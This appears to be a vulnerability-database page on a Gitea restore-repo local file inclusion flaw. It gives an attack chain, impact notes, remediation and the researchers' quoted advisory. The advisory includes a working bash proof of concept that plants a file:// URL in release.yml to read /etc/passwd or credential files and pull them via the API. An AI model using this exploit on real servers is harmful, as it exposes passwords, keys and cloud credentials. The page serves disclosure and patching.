Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain operator shell access to Gitea host
-
DeliveryCraft malicious zip with file:// DownloadURL in release.yml
-
ExploitExecute restore-repo with malicious archive
-
Executionuri.Open() calls os.Open() on target path
-
PersistFile content stored as release attachment
-
ImpactRetrieve exfiltrated secrets via Gitea API
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V5 - File Handling File name/path control
|
| Exploitation Conditions | Exploitation requires the ability to execute the gitea restore-repo CLI command directly on the host running the Gitea instance, which in practice means operator-level shell access to the server or the ability to supply a crafted archive to a trusted administrator who runs the command on the attacker's behalf. The attack is limited to files readable by the OS user account under which the Gitea process runs - if Gitea runs as a dedicated low-privilege user, files like /etc/shadow or root-owned SSH keys may be out of scope, while app.ini, process-user SSH keys, and cloud credential files typically remain accessible. The vulnerability is in a CLI maintenance command, not in any web-facing or API endpoint, and is therefore not exploitable over the network by a standard Gitea web user or API consumer. The limiting factors are: local/operator access required, the attacker must control archive contents supplied to restore-repo, and exfiltrated content scope is bounded by Gitea process user permissions. |
| Impact | No NVD CVSS vector was provided for this CVE, so all metric assessments below are independently derived from the description. The attack vector is local (AV:L) - exploitation requires running the restore-repo CLI command on the Gitea server host, which demands operator-level shell access or the ability to socially engineer a trusted operator into running a crafted archive. This high privilege prerequisite substantially constrains the realistic attack surface compared to a network-exploitable flaw. However, the confidentiality impact when exploited is high: arbitrary file read of any file accessible to the Gitea process, including app.ini (database passwords, secret keys), SSH host keys, TLS private keys, and cloud credential files. A fully functional proof-of-concept script was published by the researchers in the advisory GHSA-5ggr-2f2h-jmvm, confirming low attack complexity once access is obtained. EPSS data is unavailable for this CVE. The advisory tag 'RCE' appears to be a mislabeling - the demonstrated and confirmed impact is arbitrary file read and exfiltration, not direct code execution, though exfiltrated credentials could enable subsequent remote compromise of downstream systems. CISA KEV listing is absent, indicating no confirmed in-the-wild exploitation. Organizations with multiple operators or automated restore pipelines should treat this as a high-priority patch given the credential exposure potential. |
| Exploit ScenarioDerived | An operator with shell access on the Gitea host constructs a zip archive containing a release.yml that sets the DownloadURL of a release asset to file:///etc/gitea/app.ini, then executes gitea restore-repo --zip-path ./malicious.zip --owner target-org --repo test-repo --units release. The Gitea process reads app.ini via os.Open() and stores its contents as a release attachment named output.txt, which the attacker subsequently retrieves unauthenticated or via the Gitea API using an admin token. A working bash proof-of-concept demonstrating this full chain was published by Isa Can and Yigit Ibrahim of Eresus Security. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 21, 2026
Local file inclusion in Gitea's restore-repo CLI command allows operator-level attackers to exfiltrate arbitrary server-side files by embedding file:// URIs in release attachment DownloadURL fields within a crafted restore archive. Affected across all releases through v1.22.x (and unpatched master builds), with a fixed version available at 1.27.0. A working proof-of-concept was published by the reporting researchers; no active exploitation has been confirmed by CISA KEV, but successful exploitation yields direct access to high-value secrets including database credentials, SSH private keys, TLS certificates, and cloud provider tokens stored on the Gitea host.
RemediationAI
Upgrade to Gitea 1.27.0 or later, which is the confirmed fixed release per the pkg:go/gitea.dev vulnerability record. The upstream fix adds scheme validation in services/migrations/gitea_uploader.go, rejecting any DownloadURL that is not http or https before passing it to uri.Open(), eliminating the file:// code path from user-controlled input. Details are available at https://github.com/go-gitea/gitea/security/advisories/GHSA-5ggr-2f2h-jmvm. Until patching is feasible, restrict restore-repo execution strictly to a minimal set of fully trusted operators and document any instances of its use. Pre-scan restoration archives manually or with a script (e.g., grep -i 'file://' release.yml) to detect file:// URIs before executing restore operations - note this adds operational friction. Audit existing release attachments for unexpectedly named files (e.g., output.txt, exfiltrated.txt, passwd) that may indicate prior exploitation. Consider restricting Gitea process OS user permissions to the minimum required directories to limit the blast radius of any file reads.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The root cause is CWE-73 (External Control of File Name or Path). The utility function uri.Open() in modules/uri/uri.go was designed to serve both remote (http/https) and local (file://) resources for internal migration workflows. Its file:// branch directly calls os.Open(u.Path) with no path restrictions. This function is also called from services/migrations/gitea_uploader.go in CreateReleases(), where asset.DownloadURL is sourced verbatim from user-controlled archive content (release.yml) with no scheme allowlist at the call site. Because the file:// path is thus reachable from attacker-supplied YAML, any file readable by the OS user running the Gitea process can be silently read and stored as a release attachment. The affected package is identified as pkg:go/gitea.dev.
Know when Gitea gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Local CLI command requires operator shell access (AV:L, PR:H); no complexity barriers once access obtained (AC:L); confidentiality-only impact with no write or availability effect (C:H/I:N/A:N).
Primary rating from Vendor (https://github.com/go-gitea/gitea).
CVSS VectorVendor: https://github.com/go-gitea/gitea
Lifecycle Timeline
1DescriptionCVE.org
Local File Inclusion via file:// URI in Migration Restore
Target: go-gitea/gitea Component: services/migrations/gitea_uploader.go, modules/uri/uri.go Severity: High Affected Versions: <= v1.22.x (all releases), master as of latest commit Researchers:
- Isa Can - Eresus Security (https://github.com/isa0-gh)
- Yigit Ibrahim - Eresus Security (https://github.com/ibrahmsql)
---
Summary
Gitea's restore-repo command processes release.yml files from a user-supplied archive. The DownloadURL field in each release attachment is passed to uri.Open() without scheme validation. Because uri.Open() supports the file:// scheme via os.Open(), an operator-level attacker can plant a crafted release.yml to exfiltrate arbitrary files from the server filesystem as release attachments.
---
Impact
An attacker who can supply a crafted archive to the restore-repo command can read any file accessible to the Gitea process user on the host filesystem. Sensitive targets include:
- app.ini - containing database passwords and secret keys
- SSH private keys (~/.ssh/id_rsa, /etc/ssh/ssh_host_*)
- TLS certificates and private keys
- Cloud provider credential files (e.g. ~/.aws/credentials)
- Any other file readable by the Gitea process user
The exfiltrated content is silently stored as a release attachment and retrievable via the Gitea API.
---
Affected Code
modules/uri/uri.go
func Open(rawURL string) (io.ReadCloser, error) {
u, err := url.Parse(rawURL)
if err != nil {
return nil, err
}
switch u.Scheme {
case "http", "https":
resp, err := http.Get(rawURL)
...
case "file":
return os.Open(u.Path) // no scheme validation, no path restriction
}
}services/migrations/gitea_uploader.go (~line 370)
func (g *GiteaLocalUploader) CreateReleases(releases ...*base.Release) error {
for _, rel := range releases {
for _, asset := range rel.Assets {
rc, err := uri.Open(asset.DownloadURL) // user-controlled, unvalidated
...
// file content saved as release attachment
}
}
}---
Attack Scenario
An attacker with admin or operator access (or the ability to supply a crafted archive to an admin who runs restore-repo) can:
- Create a malicious archive containing release.yml:
releases:
- tag_name: v0.0.1
assets:
- name: exfiltrated.txt
download_url: "file:///etc/passwd"- Run restore:
gitea restore-repo --zip-path ./malicious.zip --owner target-org --repo test-repo- The server reads /etc/passwd and stores it as a release attachment named exfiltrated.txt.
- Retrieve via API:
curl -s "http://gitea.example.com/api/v1/repos/target-org/test-repo/releases/latest/assets" \
-H "Authorization: token ADMIN_TOKEN" | jq -r '.[].browser_download_url'---
PoC
> Note: restore-repo must be executed on the host running the Gitea instance, or by an operator with direct server access.
#!/usr/bin/env bash
# PoC: Gitea LFI via release.yml DownloadURL
# Requires: admin credentials, gitea binary on PATH (server host)
GITEA_URL="${1:-http://localhost:3000}"
ADMIN_TOKEN="${2:-REPLACE_ME}"
TARGET_FILE="${3:-/etc/passwd}"
OWNER="test-org"
REPO="lfi-test"1. Create target org and repo via API
curl -sf -X POST "$GITEA_URL/api/v1/orgs" \
-H "Authorization: token $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$OWNER\",\"visibility\":\"private\"}" || true
curl -sf -X POST "$GITEA_URL/api/v1/user/repos" \
-H "Authorization: token $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"name\":\"$REPO\",\"private\":true,\"auto_init\":true}" || true2. Build malicious archive
TMP=$(mktemp -d)
mkdir -p "$TMP/bundles/$OWNER/$REPO"
cat > "$TMP/bundles/$OWNER/$REPO/release.yml" <<YAML
releases:
- tag_name: v0.0.1
name: test
body: ""
draft: false
prerelease: false
assets:
- name: output.txt
download_url: "file://$TARGET_FILE"
size: 0
download_count: 0
YAML
cd "$TMP" && zip -r poc.zip bundles/3. Trigger restore
gitea restore-repo \
--zip-path "$TMP/poc.zip" \
--owner "$OWNER" \
--repo "$REPO" \
--units release 2>&14. Retrieve exfiltrated content
echo "[*] Fetching exfiltrated content..."
RELEASE_ID=$(curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases?limit=1" \
-H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].id')
curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases/$RELEASE_ID/assets" \
-H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].browser_download_url' | \
xargs -I{} curl -sf "{}" -H "Authorization: token $ADMIN_TOKEN"
rm -rf "$TMP"---
Root Cause
uri.Open() was designed as an internal utility to support both remote (http/https) and local (file://) resources during migrations. This dual-scheme design is intentional for same-host migration workflows. However, the function is also invoked in gitea_uploader.go on the DownloadURL field sourced directly from user-supplied archive content, with no validation that the scheme is restricted to http or https. The absence of any allowlist or scheme check at the call site creates a direct, exploitable path from attacker-controlled input to arbitrary server-side file reads.
---
Fix Recommendation
In services/migrations/gitea_uploader.go, validate asset.DownloadURL before calling uri.Open():
parsed, err := url.Parse(asset.DownloadURL)
if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
log.Warn("Skipping release asset with non-HTTP URL: %s", asset.DownloadURL)
continue
}
rc, err := uri.Open(asset.DownloadURL)
Alternatively, replace calls to uri.Open() in the migration path with a dedicated HTTP-only fetcher to eliminate the file:// code path entirely from user-controlled contexts.---
Workaround
Until a patch is available, operators should:
- Restrict restore-repo execution to fully trusted operators only
- Audit all archive contents manually before running restoration
- Review existing release attachments for unexpected or sensitive filenames
---
Isa Can Security Researcher - Eresus Security https://github.com/isa0-gh
Yigit Ibrahim Security Researcher - Eresus Security https://github.com/ibrahmsql
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi
Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r
Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp
The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea
Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us
Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any
Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by
Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem
Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica
Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran
Same weakness CWE-73 – External Control of File Name or Path
View allVendor StatusVendor
SUSE
| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-58153
GHSA-5ggr-2f2h-jmvm
NVD
CVE.org
EPSS
Exploit-DB